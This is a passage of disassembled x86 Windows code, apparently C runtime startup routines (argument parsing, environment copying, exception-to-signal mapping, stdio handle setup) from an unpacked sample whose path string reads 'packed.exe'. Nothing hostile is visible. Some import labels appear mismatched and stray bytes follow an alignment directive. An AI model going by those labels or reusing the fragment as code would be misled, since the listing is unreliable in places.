					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9


loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC


loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234F7	proc near		; CODE XREF: sub_41E1D3+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------


loc_423528:				; CODE XREF: sub_4234F7+23j
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBE9C
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4DBE9C, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D4C0
		mov	edx, dword_43D4C4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D450h[esi*4]


loc_42356E:				; CODE XREF: sub_4234F7+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E


loc_423577:				; CODE XREF: sub_4234F7+69j
		mov	eax, [eax]
		mov	esi, dword_43D4CC
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D4CC, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_423592:				; CODE XREF: sub_4234F7+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D4CC, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235A5:				; CODE XREF: sub_4234F7+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D4CC, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: sub_4234F7+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D4CC, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235CB:				; CODE XREF: sub_4234F7+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D4CC, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235DE:				; CODE XREF: sub_4234F7+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D4CC, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: sub_4234F7+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D4CC, 8Ah


loc_423602:				; CODE XREF: sub_4234F7+99j
					; sub_4234F7+ACj ...
		push	dword_43D4CC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D4CC, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------


loc_423617:				; CODE XREF: sub_4234F7+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42361F:				; CODE XREF: sub_4234F7+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_4DBE9C, eax


loc_423627:				; CODE XREF: sub_4234F7+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42362C:				; CODE XREF: sub_4234F7+Fj
					; sub_4234F7+1Aj
		push	[ebp+arg_4]
		call	dword_427040	; UnhandledExceptionFilter


loc_423635:				; CODE XREF: sub_4234F7+2Cj
					; sub_4234F7+133j
		pop	ebx
		pop	ebp
		retn
sub_4234F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: sub_4234F7+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D448, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A


loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A


loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp


; =============== S U B	R O U T	I N E =======================================



sub_42367B	proc near		; CODE XREF: sub_41E1D3+A5p
		cmp	dword_4DD394, 0
		jnz	short loc_423689
		call	sub_420B0D


loc_423689:				; CODE XREF: sub_42367B+7j
		push	esi
		mov	esi, dword_4DD38C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB


loc_423696:				; CODE XREF: sub_42367B+33j
					; sub_42367B+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236B3:				; CODE XREF: sub_42367B+21j
					; sub_42367B+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5


loc_4236B8:				; CODE XREF: sub_42367B+52j
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------


loc_4236BB:				; CODE XREF: sub_42367B+19j
		cmp	al, 20h
		jbe	short loc_4236C5


loc_4236BF:				; CODE XREF: sub_42367B+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF


loc_4236C5:				; CODE XREF: sub_42367B+3Bj
					; sub_42367B+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8


loc_4236CF:				; CODE XREF: sub_42367B+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_42367B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4236D3	proc near		; CODE XREF: sub_41E1D3+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D


loc_4236E5:				; CODE XREF: sub_4236D3+Bj
		mov	esi, dword_4DBE34
		xor	edi, edi


loc_4236ED:				; CODE XREF: sub_4236D3+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi


loc_4236F8:				; CODE XREF: sub_4236D3+22j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------


loc_423705:				; CODE XREF: sub_4236D3+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE04, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423727:				; CODE XREF: sub_4236D3+4Aj
		mov	edi, dword_4DBE34
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp


loc_423732:				; CODE XREF: sub_4236D3+94j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423756:				; CODE XREF: sub_4236D3+79j
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423763:				; CODE XREF: sub_4236D3+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp


loc_42376A:				; CODE XREF: sub_4236D3+5Cj
		push	dword_4DBE34
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE34, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD390, 1
		pop	ebx
		retn
sub_4236D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42378C	proc near		; CODE XREF: sub_41E1D3+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D


loc_4237A3:				; CODE XREF: sub_42378C+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_427078	; GetModuleFileNameA
		mov	eax, dword_4DD38C
		mov	off_4DBE14, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax


loc_4237C8:				; CODE XREF: sub_42378C+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx


loc_4237F8:				; CODE XREF: sub_42378C+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBDFC, esi
		pop	edi
		pop	esi
		mov	dword_4DBDF8, eax
		pop	ebx
		leave
		retn
sub_42378C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: sub_42378C+47p
					; sub_42378C+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898


loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------


loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi


loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax


loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898


loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3


loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0


loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0


loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8


loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7


loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------


loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------


loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
		mov	[ebp+arg_0], edi


loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1


loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx


loc_42395C:				; CODE XREF: sub_423825+142j
		test	esi, esi
		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C


loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
		jz	short loc_4239B9
		cmp	dl, 9
		jz	short loc_4239B9


loc_42397F:				; CODE XREF: sub_423825+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4239B3
		test	esi, esi
		jz	short loc_4239A2
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_42399B
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42399B:				; CODE XREF: sub_423825+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4239B1
; ---------------------------------------------------------------------------


loc_4239A2:				; CODE XREF: sub_423825+162j
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_4239B1
		inc	eax
		inc	dword ptr [ecx]


loc_4239B1:				; CODE XREF: sub_423825+17Bj
					; sub_423825+187j
		inc	dword ptr [ecx]


loc_4239B3:				; CODE XREF: sub_423825+15Ej
		inc	eax
		jmp	loc_423911
; ---------------------------------------------------------------------------


loc_4239B9:				; CODE XREF: sub_423825+148j
					; sub_423825+153j ...
		test	esi, esi
		jz	short loc_4239C1
		and	byte ptr [esi],	0
		inc	esi


loc_4239C1:				; CODE XREF: sub_423825+196j
		inc	dword ptr [ecx]
		jmp	loc_4238DF
; ---------------------------------------------------------------------------


loc_4239C8:				; CODE XREF: sub_423825+BDj
					; sub_423825+D5j
		test	edi, edi
		jz	short loc_4239CF
		and	dword ptr [edi], 0


loc_4239CF:				; CODE XREF: sub_423825+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_423825	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239D9	proc near		; CODE XREF: sub_41E1D3+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4DBFA4
		push	ebx
		push	ebp
		mov	ebp, dword_427030
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423A27
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423A08
		mov	dword_4DBFA4, 1
		jmp	short loc_423A30
; ---------------------------------------------------------------------------


loc_423A08:				; CODE XREF: sub_4239D9+21j
		call	dword_427034	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423B02
		mov	dword_4DBFA4, 2
		jmp	loc_423AB6
; ---------------------------------------------------------------------------


loc_423A27:				; CODE XREF: sub_4239D9+19j
		cmp	eax, 1
		jnz	loc_423AB1


loc_423A30:				; CODE XREF: sub_4239D9+2Dj
		cmp	esi, ebx
		jnz	short loc_423A40
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423B02


loc_423A40:				; CODE XREF: sub_4239D9+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423A55


loc_423A47:				; CODE XREF: sub_4239D9+73j
					; sub_4239D9+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423A47


loc_423A55:				; CODE XREF: sub_4239D9+6Cj
		sub	eax, esi
		mov	edi, dword_427188
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423AA6
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_423AA6
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_423AA2
		push	[esp+18h+var_8]
		call	sub_41BA91
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_423AA2:				; CODE XREF: sub_4239D9+B9j
		mov	ebx, [esp+18h+var_8]


loc_423AA6:				; CODE XREF: sub_4239D9+99j
					; sub_4239D9+A8j
		push	esi
		call	dword_427038	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423AB1:				; CODE XREF: sub_4239D9+51j
		cmp	eax, 2
		jnz	short loc_423B02


loc_423AB6:				; CODE XREF: sub_4239D9+49j
		cmp	edi, ebx
		jnz	short loc_423AC6
		call	dword_427034	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423B02


loc_423AC6:				; CODE XREF: sub_4239D9+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423AD6


loc_423ACC:				; CODE XREF: sub_4239D9+F6j
					; sub_4239D9+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423ACC


loc_423AD6:				; CODE XREF: sub_4239D9+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423AEC
		xor	esi, esi
		jmp	short loc_423AF7
; ---------------------------------------------------------------------------


loc_423AEC:				; CODE XREF: sub_4239D9+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_41CD20
		add	esp, 0Ch


loc_423AF7:				; CODE XREF: sub_4239D9+111j
		push	edi
		call	dword_42703C	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_423B04
; ---------------------------------------------------------------------------


loc_423B02:				; CODE XREF: sub_4239D9+39j
					; sub_4239D9+61j ...
		xor	eax, eax


loc_423B04:				; CODE XREF: sub_4239D9+D6j
					; sub_4239D9+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4239D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_423B0B	proc near		; CODE XREF: sub_41E1D3+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423B2B
		push	1Bh
		call	sub_41E2C9
		pop	ecx


loc_423B2B:				; CODE XREF: sub_423B0B+16j
		mov	dword_4DD040, esi
		mov	dword_4DD140, 20h
		lea	eax, [esi+100h]


loc_423B41:				; CODE XREF: sub_423B0B+52j
		cmp	esi, eax
		jnb	short loc_423B5F
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DD040
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423B41
; ---------------------------------------------------------------------------


loc_423B5F:				; CODE XREF: sub_423B0B+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_4271A8	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_423C3B
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_423C3B
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423B95
		mov	esi, eax


loc_423B95:				; CODE XREF: sub_423B0B+86j
		cmp	dword_4DD140, esi
		jge	short loc_423BEF
		mov	edi, offset dword_4DD044


loc_423BA2:				; CODE XREF: sub_423B0B+DAj
		push	100h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		jz	short loc_423BE9
		add	dword_4DD140, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423BC0:				; CODE XREF: sub_423B0B+CFj
		cmp	eax, ecx
		jnb	short loc_423BDC
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423BC0
; ---------------------------------------------------------------------------


loc_423BDC:				; CODE XREF: sub_423B0B+B7j
		add	edi, 4
		cmp	dword_4DD140, esi
		jl	short loc_423BA2
		jmp	short loc_423BEF
; ---------------------------------------------------------------------------


loc_423BE9:				; CODE XREF: sub_423B0B+A4j
		mov	esi, dword_4DD140


loc_423BEF:				; CODE XREF: sub_423B0B+90j
					; sub_423B0B+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423C3B


loc_423BF5:				; CODE XREF: sub_423B0B+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423C32
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423C32
		test	cl, 8
		jnz	short loc_423C14
		push	eax
		call	dword_427024	; GetFileType
		test	eax, eax
		jz	short loc_423C32


loc_423C14:				; CODE XREF: sub_423B0B+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423C32:				; CODE XREF: sub_423B0B+EFj
					; sub_423B0B+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423BF5


loc_423C3B:				; CODE XREF: sub_423B0B+65j
					; sub_423B0B+71j ...
		xor	ebx, ebx


loc_423C3D:				; CODE XREF: sub_423B0B+195j
		mov	eax, dword_4DD040
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423C98
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423C58
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423C62
; ---------------------------------------------------------------------------


loc_423C58:				; CODE XREF: sub_423B0B+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423C62:				; CODE XREF: sub_423B0B+14Bj
		push	eax
		call	dword_427028	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423C87
		push	edi
		call	dword_427024	; GetFileType
		test	eax, eax
		jz	short loc_423C87
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423C8D


loc_423C87:				; CODE XREF: sub_423B0B+163j
					; sub_423B0B+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C8D:				; CODE XREF: sub_423B0B+17Aj
		cmp	eax, 3
		jnz	short loc_423C9C
		or	byte ptr [esi+4], 8
		jmp	short loc_423C9C
; ---------------------------------------------------------------------------


loc_423C98:				; CODE XREF: sub_423B0B+13Ej
		or	byte ptr [esi+4], 80h


loc_423C9C:				; CODE XREF: sub_423B0B+180j
					; sub_423B0B+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423C3D
		push	dword_4DD140
		call	dword_42702C	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_423B0B	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CC0	proc near		; DATA XREF: sub_41E1D3+Ao
					; sub_4228FD+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423D60
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423CF3:				; CODE XREF: sub_423CC0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423D59
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423D47
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423D47
		js	short loc_423D52
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D550
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D592
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D626
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423D47:				; CODE XREF: sub_423CC0+40j
					; sub_423CC0+52j
		mov	edi, [ebx+8]
